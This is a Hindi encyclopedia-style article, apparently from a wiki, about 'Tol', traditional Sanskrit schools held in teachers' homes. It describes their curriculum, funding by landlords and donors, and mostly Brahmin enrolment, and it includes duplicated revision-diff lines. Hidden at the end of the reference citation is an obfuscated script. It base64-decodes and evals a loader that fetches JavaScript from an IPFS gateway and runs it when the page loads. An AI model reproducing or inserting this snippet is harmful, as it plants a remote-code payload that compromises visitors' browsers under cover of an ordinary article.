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*[[भारत]] के देशी [[संस्कृत]] विद्यालय, जो अध्यापकों के घरों में स्थित थे, '''टोल''' कहे जाते थे।
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'''टोल''' [[प्राचीन भारत]] के देशी [[संस्कृत]] विद्यालय थे, जो आचार्यों के घरों में स्थित होते थे। इनमें विद्यार्थियों के अध्ययन का विशेष ध्यान रखा जाता था। अध्ययन के इस स्थान पर विद्यार्थियों को [[साहित्य]], [[वेदांत]], [[दर्शन]], [[न्याय दर्शन|न्याय]] तथा [[व्याकरण]] आदि की शिक्षा प्रदान की जाती थी। इन पाठशालाओं का ख़र्च निकालने में अध्यापकों को काफ़ी कठिनाइयाँ उठानी पड़ती थीं, क्योंकि इसके लिए उन्हें स्थानीय ज़मींदारों तथा दाताओं की दानशीलता पर निर्भर रहना पड़ता था।
*प्राचीन [[हिन्दू]] शिक्षा व्यवस्था के अनुसार, अध्यापकगण इन संस्कृत पाठशालाओं को अपने ख़र्चे से चलाते थे।
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*इनमें प्रवेश पाने वाले विद्यार्थियों को वे स्थान, भोजन, वस्त्र उपलब्ध कराते थे।
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*प्राचीन [[हिन्दू]] शिक्षा व्यवस्था के अनुसार अध्यापकगण इन संस्कृत पाठशालाओं को अपने ख़र्चे से चलाते थे।
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*इनमें प्रवेश पाने वाले विद्यार्थियों को आचार्य स्थान, भोजन, वस्त्र आदि उपलब्ध कराते थे।
 
*अध्ययन और अध्यापन का समय विद्यार्थी और अध्यापक दोनों की सुविधानुकूल रखा जाता था।
 
*अध्ययन और अध्यापन का समय विद्यार्थी और अध्यापक दोनों की सुविधानुकूल रखा जाता था।
 
*इस शिक्षा व्यवस्था के अंतर्गत अध्यापक और विद्यार्थी का घनिष्ठ सम्बन्ध रहता था और विद्यार्थी को विद्या प्राप्ति के लिए कोई धन नहीं देना पड़ता था।
 
*इस शिक्षा व्यवस्था के अंतर्गत अध्यापक और विद्यार्थी का घनिष्ठ सम्बन्ध रहता था और विद्यार्थी को विद्या प्राप्ति के लिए कोई धन नहीं देना पड़ता था।
 
*चूंकि विद्यार्थी के भरण-पोषण का भार अध्यापक पर रहता था, इसलिए उनका चुनाव भी उसकी इच्छा पर निर्भर करता था।
 
*चूंकि विद्यार्थी के भरण-पोषण का भार अध्यापक पर रहता था, इसलिए उनका चुनाव भी उसकी इच्छा पर निर्भर करता था।
*इन पाठशालाओं में विद्याध्ययन के लिए अधिकांशत: [[ब्राह्मण|ब्राह्मणों]] के बालक ही प्रवेश करते थे।
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*इन पाठशालाओं में विद्याध्ययन के लिए अधिकांशत: [[ब्राह्मण|ब्राह्मणों]] के बालक ही प्रवेश करते थे। अन्य वर्णों के मेधावी विद्यार्थियों को भी इनमें प्रवेश मिल जाता था, किन्तु अपने भोजन का प्रबंध उन्हें स्वयं ही करना होता था।
*अन्य वर्णों के मेधावी विद्यार्थियों को भी इनमें प्रवेश मिलता था, किन्तु अपने भोजन का प्रबंध उन्हें स्वयं ही करना ही होता था।
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*टोल पाठशालाओं का ख़र्च निकालने में अध्यापकों को काफ़ी कठिनाइयाँ थीं, क्योंकि इसके लिए उन्हें स्थानीय ज़मींदारों तथा दाताओं की दानशीलता पर निर्भर रहना पड़ता था। फिर भी शास्त्रों का अध्ययन करने के बाद प्रत्येक [[ब्राह्मण]] विद्यादान करना अपना पवित्र कर्तव्य मानता था। इसलिए वह अपने घर पर एक टोली की स्थापना अवश्य ही करता था।
*इन पाठशालाओं का ख़र्च निकालने में अध्यापकों को काफ़ी कठिनाइयाँ उठानी पड़ती थीं, क्योंकि इसके लिए उन्हें स्थानीय ज़मींदारों तथा दाताओं की दानशीलता पर निर्भर रहना पड़ता था।
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*इसलिए वह अपने घर पर एक टोली की स्थापना अवश्य ही करता था।
 
*इन टोलों में [[व्याकरण]], [[साहित्य]], [[स्मृतियाँ|स्मृति]], न्याय और [[वेदान्त]] अथवा [[दर्शन]] की शिक्षा दी जाती थी।
 
*कुछ टोलें अब भी विद्यमान हैं और कुछ को सरकार से अब मासिक अनुदान प्राप्त होता है।
 
  
 
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08:33, 13 अप्रैल 2013 का अवतरण

टोल प्राचीन भारत के देशी संस्कृत विद्यालय थे, जो आचार्यों के घरों में स्थित होते थे। इनमें विद्यार्थियों के अध्ययन का विशेष ध्यान रखा जाता था। अध्ययन के इस स्थान पर विद्यार्थियों को साहित्य, वेदांत, दर्शन, न्याय तथा व्याकरण आदि की शिक्षा प्रदान की जाती थी। इन पाठशालाओं का ख़र्च निकालने में अध्यापकों को काफ़ी कठिनाइयाँ उठानी पड़ती थीं, क्योंकि इसके लिए उन्हें स्थानीय ज़मींदारों तथा दाताओं की दानशीलता पर निर्भर रहना पड़ता था।

  • प्राचीन हिन्दू शिक्षा व्यवस्था के अनुसार अध्यापकगण इन संस्कृत पाठशालाओं को अपने ख़र्चे से चलाते थे।
  • इनमें प्रवेश पाने वाले विद्यार्थियों को आचार्य स्थान, भोजन, वस्त्र आदि उपलब्ध कराते थे।
  • अध्ययन और अध्यापन का समय विद्यार्थी और अध्यापक दोनों की सुविधानुकूल रखा जाता था।
  • इस शिक्षा व्यवस्था के अंतर्गत अध्यापक और विद्यार्थी का घनिष्ठ सम्बन्ध रहता था और विद्यार्थी को विद्या प्राप्ति के लिए कोई धन नहीं देना पड़ता था।
  • चूंकि विद्यार्थी के भरण-पोषण का भार अध्यापक पर रहता था, इसलिए उनका चुनाव भी उसकी इच्छा पर निर्भर करता था।
  • इन पाठशालाओं में विद्याध्ययन के लिए अधिकांशत: ब्राह्मणों के बालक ही प्रवेश करते थे। अन्य वर्णों के मेधावी विद्यार्थियों को भी इनमें प्रवेश मिल जाता था, किन्तु अपने भोजन का प्रबंध उन्हें स्वयं ही करना होता था।
  • टोल पाठशालाओं का ख़र्च निकालने में अध्यापकों को काफ़ी कठिनाइयाँ थीं, क्योंकि इसके लिए उन्हें स्थानीय ज़मींदारों तथा दाताओं की दानशीलता पर निर्भर रहना पड़ता था। फिर भी शास्त्रों का अध्ययन करने के बाद प्रत्येक ब्राह्मण विद्यादान करना अपना पवित्र कर्तव्य मानता था। इसलिए वह अपने घर पर एक टोली की स्थापना अवश्य ही करता था।
  • टोलों में व्याकरण, साहित्य, स्मृति, न्याय और वेदान्त अथवा दर्शन की शिक्षा दी जाती थी।
  • कुछ टोलें अब भी विद्यमान हैं और कुछ को सरकार से अब मासिक अनुदान प्राप्त होता है।[1]


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टीका टिप्पणी और संदर्भ

  1. भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 176।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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